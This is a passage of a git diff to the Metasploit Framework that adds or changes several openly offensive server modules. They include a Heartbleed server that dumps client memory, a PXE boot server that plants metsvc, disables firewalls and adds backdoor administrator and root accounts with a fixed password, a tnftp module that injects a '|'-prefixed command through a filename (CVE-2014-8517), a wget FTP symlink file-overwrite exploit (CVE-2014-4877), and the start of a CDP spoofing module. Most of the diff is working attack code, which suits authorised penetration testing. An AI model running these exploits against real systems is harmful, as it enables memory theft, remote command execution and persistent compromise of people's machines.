@state[c][:encrypted] + process_openssl_encrypted_request(c, mesg) + else + process_openssl_cleartext_request(c, mesg) + end + end + end + + # Process cleartext TLS messages + def process_openssl_cleartext_request(c, data) + message_type, message_version, protocol_version = data.unpack("Cn@9n") + + if message_type == 0x15 and data.length >= 7 + message_level, message_reason = data[5,2].unpack("CC") + print_status("#{@state[c][:name]} Alert Level #{message_level} Reason #{message_reason}") + if message_level == 2 and message_reason == 0x30 + print_status("#{@state[c][:name]} Client rejected our certificate due to unknown CA") + return + end + + if level == 2 + print_status("#{@state[c][:name]} Client rejected our connection with a fatal error: #{message_reason}") + return + end + + end + + unless message_type == 0x18 + message_code = data[5,1].to_s.unpack("C").first + vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}") + end + + # Process the Client Hello + unless @state[c][:received_hello] + + unless (message_type == 0x16 and data.length > 43 and message_code == 0x01) + print_status("#{@state[c][:name]} Expected a Client Hello, received #{sprintf("type %.2x code %.2x", message_type, message_code)}") + return + end + + print_status("#{@state[c][:name]} Processing Client Hello...") + + # Extract the client_random needed to compute the master key + @state[c][:client_random] = data[11,32] + @state[c][:received_hello] = true + + print_status("#{@state[c][:name]} Sending Server Hello...") + openssl_send_server_hello(c, data, protocol_version) + return + end + + # If we are negotiating TLS, handle Client Key Exchange/Change Cipher Spec + if negotiate_tls? + # Process the Client Key Exchange + if message_type == 0x16 and data.length > 11 and message_code == 0x10 + print_status("#{@state[c][:name]} Processing Client Key Exchange...") + premaster_length = data[9, 2].unpack("n").first + + # Extract the pre-master secret in encrypted form + if data.length >= 11 + premaster_length + premaster_encrypted = data[11, premaster_length] + + # Decrypt the pre-master secret using our RSA key + premaster_clear = @cert_key.private_decrypt(premaster_encrypted) rescue nil + @state[c][:premaster] = premaster_clear if premaster_clear + end + end + + # Process the Change Cipher Spec and switch to encrypted communications + if message_type == 0x14 and message_code == 0x01 + print_status("#{@state[c][:name]} Processing Change Cipher Spec...") + initialize_encryption_keys(c) + return + end + # Otherwise just start capturing heartbeats in clear-text mode + else + # Send heartbeat requests + if @state[c][:heartbeats].length < heartbeat_limit + openssl_send_heartbeat(c, protocol_version) + end + + # Process cleartext heartbeat replies + if message_type == 0x18 + vprint_status("#{@state[c][:name]} Heartbeat received (#{data.length-5} bytes) [#{@state[c][:heartbeats].length} bytes total]") + @state[c][:heartbeats] << data[5, data.length-5] + end + + # Full up on heartbeats, disconnect the client + if @state[c][:heartbeats].length >= heartbeat_limit + print_status("#{@state[c][:name]} Heartbeats received [#{@state[c][:heartbeats].length} bytes total]") + store_captured_heartbeats(c) + c.close() + end + end + end + + # Process encrypted TLS messages + def process_openssl_encrypted_request(c, data) + message_type, message_version, protocol_version = data.unpack("Cn@9n") + + return if @state[c][:shutdown] + return unless data.length > 5 + + buff = decrypt_data(c, data[5, data.length-5]) + unless buff + print_status("#{@state[c][:name]} Failed to decrypt, giving up on this client") + c.close + return + end + + message_code = buff[0,1].to_s.unpack("C").first + vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}") + + if message_type == 0x16 + print_status("#{@state[c][:name]} Processing Client Finished...") + end + + # Send heartbeat requests + if @state[c][:heartbeats].length < heartbeat_limit + openssl_send_heartbeat(c, protocol_version) + end + + # Process heartbeat replies + if message_type == 0x18 + vprint_status("#{@state[c][:name]} Encrypted heartbeat received (#{buff.length} bytes) [#{@state[c][:heartbeats].length} bytes total]") + @state[c][:heartbeats] << buff + end + + # Full up on heartbeats, disconnect the client + if @state[c][:heartbeats].length >= heartbeat_limit + print_status("#{@state[c][:name]} Encrypted heartbeats received [#{@state[c][:heartbeats].length} bytes total]") + store_captured_heartbeats(c) + c.close() + end + end + + # Dump captured memory to a file on disk using the loot API + def store_captured_heartbeats(c) + if @state[c][:heartbeats].length > 0 + begin + path = store_loot( + "openssl.heartbleed.client", + "application/octet-stream", + @state[c][:ip], + @state[c][:heartbeats], + nil, + "OpenSSL Heartbleed client memory" + ) + print_status("#{@state[c][:name]} Heartbeat data stored in #{path}") + rescue ::Interrupt + raise $! + rescue ::Exception + print_status("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}") + end + + # Report the memory disclosure as a vulnerability on the host + report_vuln({ + :host => @state[c][:ip], + :name => self.name, + :info => "Module #{self.fullname} successfully dumped client memory contents", + :refs => self.references, + :exploited_at => Time.now.utc + }) rescue nil # Squash errors related to ip => 127.0.0.1 and the like + end + + # Clear the heartbeat array + @state[c][:heartbeats] = "" + @state[c][:shutdown] = true + end + + # Delete the state on connection close + def on_client_close(c) + # Do we have any pending heartbeats to save? + if @state[c][:heartbeats].length > 0 + store_captured_heartbeats(c) + end + @state.delete(c) + end + + # Send an OpenSSL Server Hello response + def openssl_send_server_hello(c, hello, version) + + # If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the + # first cipher suite sent by the client. + if @state[c][:encrypted] + cipher = "\x00\x2F" + else + cipher = hello[46, 2] + end + + # Create the Server Hello response + extensions = + "\x00\x0f\x00\x01\x01" # Heartbeat + + server_hello_payload = + [version].pack('n') + # Use the protocol version sent by the client. + @state[c][:server_random] + # Random (Timestamp + Random Bytes) + "\x00" + # Session ID + cipher + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA) + "\x00" + # Compression Method (none) + [extensions.length].pack('n') + extensions + + server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload + + msg1 = "\x16" + [version].pack('n') + [server_hello.length].pack("n") + server_hello + c.put(msg1) + + # Skip the rest of TLS if we arent negotiating it + unless negotiate_tls? + # Send a heartbeat request to start the stream and return + openssl_send_heartbeat(c, version) + return + end + + # Certificates + certs_combined = generate_certificates + pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined + msg2 = "\x16" + [version].pack('n') + [pay2.length].pack("n") + pay2 + c.put(msg2) + + # End of Server Hello + pay3 = "\x0e\x00\x00\x00" + msg3 = "\x16" + [version].pack('n') + [pay3.length].pack("n") + pay3 + c.put(msg3) + end + + # Send the heartbeat request that results in memory exposure + def openssl_send_heartbeat(c, version) + c.put "\x18" + [version].pack('n') + "\x00\x03\x01" + [heartbeat_read_size].pack("n") + end + + # Pack the certificates for use in the TLS reply + def generate_certificates + certs = [] + certs << generate_certificate.to_der + certs_combined = certs.map { |cert| [ cert.length ].pack("N")[1, 3] + cert }.join + end + + # Generate a self-signed certificate to use for the service + def generate_certificate + key = @cert_key + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = rand(0xFFFFFFFF) + + subject_cn = Rex::Text.rand_hostname + subject = OpenSSL::X509::Name.new([ + ["C","US"], + ['ST', Rex::Text.rand_state()], + ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ["CN", subject_cn], + ]) + issuer = OpenSSL::X509::Name.new([ + ["C","US"], + ['ST', Rex::Text.rand_state()], + ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ["CN", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ]) + + cert.subject = subject + cert.issuer = issuer + cert.not_before = Time.now - (3600 * 24 * 365) + rand(3600 * 14) + cert.not_after = Time.now + (3600 * 24 * 365) + rand(3600 * 14) + cert.public_key = key.public_key + ef = OpenSSL::X509::ExtensionFactory.new(nil,cert) + cert.extensions = [ + ef.create_extension("basicConstraints","CA:FALSE"), + ef.create_extension("subjectKeyIdentifier","hash"), + ef.create_extension("extendedKeyUsage","serverAuth"), + ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature") + ] + ef.issuer_certificate = cert + cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always") + cert.sign(key, OpenSSL::Digest::SHA1.new) + cert + end + + # Decrypt the TLS message and return the result without the MAC + def decrypt_data(c, data) + return unless @state[c][:client_enc] + + cipher = @state[c][:client_enc] + + begin + buff = cipher.update(data) + buff << cipher.final + + # Trim the trailing MAC signature off the buffer + if buff.length >= 20 + return buff[0, buff.length-20] + end + rescue ::OpenSSL::Cipher::CipherError => e + print_status("#{@state[c][:name]} Decryption failed: #{e}") + end + + nil + end + + # Calculate keys and toggle encrypted status + def initialize_encryption_keys(c) + tls1_calculate_crypto_keys(c) + @state[c][:encrypted] = true + end + + # Determine crypto keys for AES-128-CBC based on the master secret + def tls1_calculate_crypto_keys(c) + @state[c][:master] = tls1_calculate_master_key(c) + return unless @state[c][:master] + + key_block = tls1_prf( + @state[c][:master], + "key expansion" + @state[c][:server_random] + @state[c][:client_random], + (20 * 2) + (16 * 4) + ) + + # Extract the MAC, encryption, and IV from the keyblock + @state[c].update({ + :client_write_mac_key => key_block.slice!(0, 20), + :server_write_mac_key => key_block.slice!(0, 20), + :client_write_key => key_block.slice!(0, 16), + :server_write_key => key_block.slice!(0, 16), + :client_iv => key_block.slice!(0, 16), + :server_iv => key_block.slice!(0, 16), + }) + + client_cipher = OpenSSL::Cipher.new('aes-128-cbc') + client_cipher.key = @state[c][:client_write_key] + client_cipher.iv = @state[c][:client_iv] + client_cipher.decrypt + client_mac = OpenSSL::HMAC.new(@state[c][:client_write_mac_key], OpenSSL::Digest.new('sha1')) + + server_cipher = OpenSSL::Cipher.new('aes-128-cbc') + server_cipher.key = @state[c][:server_write_key] + server_cipher.iv = @state[c][:server_iv] + server_cipher.encrypt + server_mac = OpenSSL::HMAC.new(@state[c][:server_write_mac_key], OpenSSL::Digest.new('sha1')) + + @state[c].update({ + :client_enc => client_cipher, + :client_mac => client_mac, + :server_enc => server_cipher, + :server_mac => server_mac + }) + + true + end + + # Determine the master key from the premaster and client/server randoms + def tls1_calculate_master_key(c) + return unless ( + @state[c][:premaster] and + @state[c][:client_random] and + @state[c][:server_random] + ) + tls1_prf( + @state[c][:premaster], + "master secret" + @state[c][:client_random] + @state[c][:server_random], + 48 + ) + end + + # Random generator used to calculate key data for TLS 1.0/1.1 + def tls1_prf(input_secret, input_label, output_length) + # Calculate S1 and S2 as even blocks of each half of the secret + # string. If the blocks are uneven, then S1's last byte should + # be duplicated by S2's first byte + blen = (input_secret.length / 2.0).ceil + s1 = input_secret[0, blen] + s2_index = blen + if input_secret.length % 2 != 0 + s2_index -= 1 + end + s2 = input_secret[s2_index, blen] + + # Hash the first part with MD5 + out1 = tls1_p_hash('md5', s1, input_label, output_length).unpack("C*") + + # Hash the second part with SHA1 + out2 = tls1_p_hash('sha1', s2, input_label, output_length).unpack("C*") + + # XOR the results together + [*(0..out1.length-1)].map {|i| out1[i] ^ out2[i] }.pack("C*") + end + + # Used by tls1_prf to generate arbitrary amounts of session key data + def tls1_p_hash(digest, secret, label, olen) + output = "" + chunk = OpenSSL::Digest.new(digest).digest_length + ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest)) + ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest)) + + ctx.update(label) + a1 = ctx.digest + + loop do + ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest)) + ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest)) + ctx.update(a1) + ctx_tmp.update(a1) + ctx.update(label) + + if olen > chunk + output << ctx.digest + a1 = ctx_tmp.digest + olen -= chunk + else + a1 = ctx.digest + output << a1[0, olen] + break + end + end + + output + end +end diff --git a/modules/auxiliary/server/pxeexploit.rb b/modules/auxiliary/server/pxeexploit.rb new file mode 100644 index 0000000000..a2a7815f82 --- /dev/null +++ b/modules/auxiliary/server/pxeexploit.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/tftp' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::TFTPServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'PXE Boot Exploit Server', + 'Description' => %q{ + This module provides a PXE server, running a DHCP and TFTP server. + The default configuration loads a linux kernel and initrd into memory that + reads the hard drive; placing a payload to install metsvc, disable the + firewall, and add a new user metasploit on any Windows partition seen, + and add a uid 0 user with username and password metasploit to any linux + partition seen. The windows user will have the password p@SSw0rd!123456 + (in case of complexity requirements) and will be added to the administrators + group. + + Note: the displayed IP address of a target is the address this DHCP server + handed out, not the "normal" IP address the host uses. + }, + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } + ) + + register_advanced_options( + [ + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ], self.class) + end + + def run + print_status("Starting TFTP server...") + @tftp = Rex::Proto::TFTP::Server.new + @tftp.set_tftproot(datastore['TFTPROOT']) + @tftp.start + add_socket(@tftp.sock) + + print_status("Starting DHCP server...") + @dhcp = Rex::Proto::DHCP::Server.new( datastore ) + @dhcp.report do |mac, ip| + print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(ip)})") + report_note( + :type => 'PXE.client', + :data => mac.unpack('H2H2H2H2H2H2').join(':') + ) + end + @dhcp.start + add_socket(@dhcp.sock) + + # Wait for finish.. + @tftp.thread.join + @dhcp.thread.join + + end + +end diff --git a/modules/auxiliary/server/pxexploit.rb b/modules/auxiliary/server/pxexploit.rb index 8570da9da4..d7b4f60206 100644 --- a/modules/auxiliary/server/pxexploit.rb +++ b/modules/auxiliary/server/pxexploit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,6 +11,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TFTPServer include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 4, 11), 'auxiliary/server/pxeexploit') def initialize super( @@ -38,12 +41,17 @@ class Metasploit3 < Msf::Auxiliary [ 'Service' ], - 'DefaultAction' => 'Service' + 'DefaultAction' => 'Service', + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } ) register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), @@ -52,12 +60,6 @@ class Metasploit3 < Msf::Auxiliary end def run - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end - datastore['FILENAME'] = "update1" - datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them! - print_status("Starting TFTP server...") @tftp = Rex::Proto::TFTP::Server.new @tftp.set_tftproot(datastore['TFTPROOT']) diff --git a/modules/auxiliary/server/socks4a.rb b/modules/auxiliary/server/socks4a.rb index f70e2032f3..1695eeb3e2 100644 --- a/modules/auxiliary/server/socks4a.rb +++ b/modules/auxiliary/server/socks4a.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/socks_unc.rb b/modules/auxiliary/server/socks_unc.rb index 02444e8749..da8cbb12a4 100644 --- a/modules/auxiliary/server/socks_unc.rb +++ b/modules/auxiliary/server/socks_unc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb index b638679aa4..92466df2ee 100644 --- a/modules/auxiliary/server/tftp.rb +++ b/modules/auxiliary/server/tftp.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/tftp' +require 'tmpdir' class Metasploit3 < Msf::Auxiliary @@ -17,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module provides a TFTP service }, - 'Author' => [ 'jduck' ], + 'Author' => [ 'jduck', 'todb' ], 'License' => MSF_LICENSE, 'Actions' => [ @@ -32,31 +33,35 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('TFTPROOT', [ false, "The TFTP root directory to serve files from" ]), - OptString.new('OUTPUTPATH', [ false, "The directory in which uploaded files will be written." ]) + OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 69 ]), + OptPath.new('TFTPROOT', [ true, "The TFTP root directory to serve files from", Dir.tmpdir ]), + OptPath.new('OUTPUTPATH', [ true, "The directory in which uploaded files will be written.", Dir.tmpdir ]) ], self.class) end + def srvhost + datastore['SRVHOST'] || '0.0.0.0' + end + + def srvport + datastore['SRVPORT'] || 69 + end + def run - if not datastore['OUTPUTPATH'] and not datastore['TFTPROOT'] - print_error("You must set TFTPROOT and/or OUTPUTPATH to use this module.") - return - end + print_status("Starting TFTP server on #{srvhost}:#{srvport}...") - @tftp = Rex::Proto::TFTP::Server.new + @tftp = Rex::Proto::TFTP::Server.new( + srvport, + srvhost, + {} + ) - print_status("Starting TFTP server...") + @tftp.set_tftproot(datastore['TFTPROOT']) + print_status("Files will be served from #{datastore['TFTPROOT']}") - if datastore['TFTPROOT'] - print_status("Files will be served from #{datastore['TFTPROOT']}") - @tftp.set_tftproot(datastore['TFTPROOT']) - end - - # register output directory - if datastore['OUTPUTPATH'] - print_status("Uploaded files will be saved in #{datastore['OUTPUTPATH']}") - @tftp.set_output_dir(datastore['OUTPUTPATH']) - end + @tftp.set_output_dir(datastore['OUTPUTPATH']) + print_status("Uploaded files will be saved in #{datastore['OUTPUTPATH']}") # Individual virtual files can be served here - #@tftp.register_file("ays", "A" * 2048) # multiple of 512 on purpose @@ -66,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary # Wait for finish.. while @tftp.thread.alive? - select(nil, nil, nil, 2) + sleep 3 end vprint_status("Stopping TFTP server") diff --git a/modules/auxiliary/server/tnftp_savefile.rb b/modules/auxiliary/server/tnftp_savefile.rb new file mode 100644 index 0000000000..26e4894234 --- /dev/null +++ b/modules/auxiliary/server/tnftp_savefile.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'tnftp "savefile" Arbitrary Command Execution', + 'Description' => %q{ + This module exploits an arbitrary command execution vulnerability in + tnftp's handling of the resolved output filename - called "savefile" in + the source - from a requested resource. + + If tnftp is executed without the -o command-line option, it will resolve + the output filename from the last component of the requested resource. + + If the output filename begins with a "|" character, tnftp will pass the + fetched resource's output to the command directly following the "|" + character through the use of the popen() function. + }, + 'Author' => [ + 'Jared McNeill', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2014-8517'], + ['URL', 'http://seclists.org/oss-sec/2014/q4/459'] + ], + 'DisclosureDate' => 'Oct 28 2014', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Service'] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service' + )) + + register_options([ + OptString.new('CMD', [true, 'Command to run', 'uname -a']) + ]) + end + + def run + exploit + end + + def on_request_uri(cli, request) + unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/ + print_status("#{request['User-Agent']} connected") + send_not_found(cli) + return + end + + if request.uri.ends_with?(sploit) + send_response(cli, '') + print_good("Executing `#{datastore['CMD']}'!") + report_vuln( + :host => cli.peerhost, + :name => self.name, + :refs => self.references, + :info => request['User-Agent'] + ) + else + print_status("#{request['User-Agent']} connected") + print_status('Redirecting to exploit...') + send_redirect(cli, sploit_uri) + end + end + + def sploit_uri + (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") + + Rex::Text.uri_encode(sploit, 'hex-all') + end + + def sploit + "|#{datastore['CMD']}" + end + +end diff --git a/modules/auxiliary/server/webkit_xslt_dropper.rb b/modules/auxiliary/server/webkit_xslt_dropper.rb index 3a65957de4..c46d0dc197 100644 --- a/modules/auxiliary/server/webkit_xslt_dropper.rb +++ b/modules/auxiliary/server/webkit_xslt_dropper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/wget_symlink_file_write.rb b/modules/auxiliary/server/wget_symlink_file_write.rb new file mode 100644 index 0000000000..7c1393b655 --- /dev/null +++ b/modules/auxiliary/server/wget_symlink_file_write.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::FtpServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access', + 'Description' => %q{ + This module exploits a vulnerability in Wget when used in + recursive (-r) mode with a FTP server as a destination. A + symlink is used to allow arbitrary writes to the target's + filesystem. To specify content for the file, use the + "file:/path" syntax for the TARGET_DATA option. + + Tested successfully with wget 1.14. Versions prior to 1.16 + are presumed vulnerable. + }, + 'Author' => ['hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [['Service']], + 'PassiveActions' => ['Service'], + 'References' => + [ + [ 'CVE', '2014-4877'], + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ] + ], + 'DefaultAction' => 'Service', + 'DisclosureDate' => 'Oct 27 2014' + ) + + register_options( + [ + OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]), + OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]), + OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121]) + ], self.class) + + @fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8) + end + + def run + my_address = Rex::Socket.source_address + print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/") + exploit() + end + + def on_client_command_user(c,arg) + @state[c][:user] = arg + c.put "331 User name okay, need password...\r\n" + end + + def on_client_command_pass(c,arg) + @state[c][:pass] = arg + c.put "230 Login OK\r\n" + @state[c][:auth] = true + print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...") + end + + def on_client_command_retr(c,arg) + print_status("#{@state[c][:name]} -> RETR #{arg}") + + if not @state[c][:auth] + c.put "500 Access denied\r\n" + return + end + + unless arg.index(::File.basename(datastore['TARGET_FILE'])) + c.put "550 File does not exist\r\n" + return + end + + conn = establish_data_connection(c) + if not conn + c.put("425 Can't build data connection\r\n") + return + end + + c.put("150 Opening BINARY mode data connection for #{arg}\r\n") + conn.put(datastore['TARGET_DATA']) + c.put("226 Transfer complete.\r\n") + conn.close + + print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}") + end + + def on_client_command_list(c,arg) + + print_status("#{@state[c][:name]} -> LIST #{arg}") + + if not @state[c][:auth] + c.put "500 Access denied\r\n" + return + end + + conn = establish_data_connection(c) + if not conn + c.put("425 Can't build data connection\r\n") + return + end + + pwd = @state[c][:cwd] + buf = '' + + dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y") + unless pwd.index(@fakedir) + buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}\r\n" + buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n" + else + buf << "-rwx------ 1 root root #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}\r\n" + end + + c.put("150 Opening ASCII mode data connection for /bin/ls\r\n") + conn.put("total #{buf.length}\r\n" + buf) + c.put("226 Transfer complete.\r\n") + conn.close + end + + def on_client_command_size(c,arg) + + if not @state[c][:auth] + c.put "500 Access denied\r\n" + return + end + + c.put("213 #{datastore['TARGET_DATA'].length}\r\n") + end + + + def on_client_command_cwd(c,arg) + + print_status("#{@state[c][:name]} -> CWD #{arg}") + + if not @state[c][:auth] + c.put "500 Access denied\r\n" + return + end + + upath = "/" + npath = ::File.join(@state[c][:cwd], arg) + bpath = npath[upath.length, npath.length - upath.length] + + # Check for traversal above the root directory + if not (npath[0, upath.length] == upath or bpath == '') + bpath = '/' + end + + bpath = '/' if bpath == '' + @state[c][:cwd] = bpath + + c.put "250 CWD command successful.\r\n" + end +end diff --git a/modules/auxiliary/server/wpad.rb b/modules/auxiliary/server/wpad.rb index b0135f5b42..087e30c9d5 100644 --- a/modules/auxiliary/server/wpad.rb +++ b/modules/auxiliary/server/wpad.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sniffer/psnuffle.rb b/modules/auxiliary/sniffer/psnuffle.rb index 90a82a9127..d2551d6e13 100644 --- a/modules/auxiliary/sniffer/psnuffle.rb +++ b/modules/auxiliary/sniffer/psnuffle.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'pSnuffle Packet Sniffer', - 'Description' => 'This module sniffs passwords like dsniff did in the past', - 'Author' => 'Max Moser ', + 'Description' => 'This module sniffs passwords like dsniff did in the past', + 'Author' => 'Max Moser ', 'License' => MSF_LICENSE, 'Actions' => [ diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 0a6ef7647a..0cc60e78a5 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false]) ], self.class) - deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK') + deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT') end def run diff --git a/modules/auxiliary/spoof/cisco/cdp.rb b/modules/auxiliary/spoof/cisco/cdp.rb new file mode 100644 index 0000000000..41bc8bb6fd --- /dev/null +++ b/modules/auxiliary/spoof/cisco/cdp.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Capture + + def initialize + + super( + 'Name' => 'Send Cisco Discovery Protocol (CDP) Packets', + 'Description' => %q{ + This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses + to the CDP packets broadcast from this module will need to be analyzed with an + external packet analysis tool, such as tcpdump or Wireshark in order to learn more + about the Cisco switch and router environment. + }, + 'Author' => 'Fatih Ozavci', # viproy.com/fozavci + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'http://en.wikipedia.org/wiki/CDP_Spoofing' ] + ], + 'Actions' => [ + ['Spoof', { 'Description' => 'Sends CDP packets' }] + ], + 'DefaultAction' => 'Spoof' + ) + + register_options( + [ + OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]), + OptString.new('VTPDOMAIN', [false, "VTP Domain"]), + OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]), + OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]), + # XXX: this is not currently implemented + # OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]), + 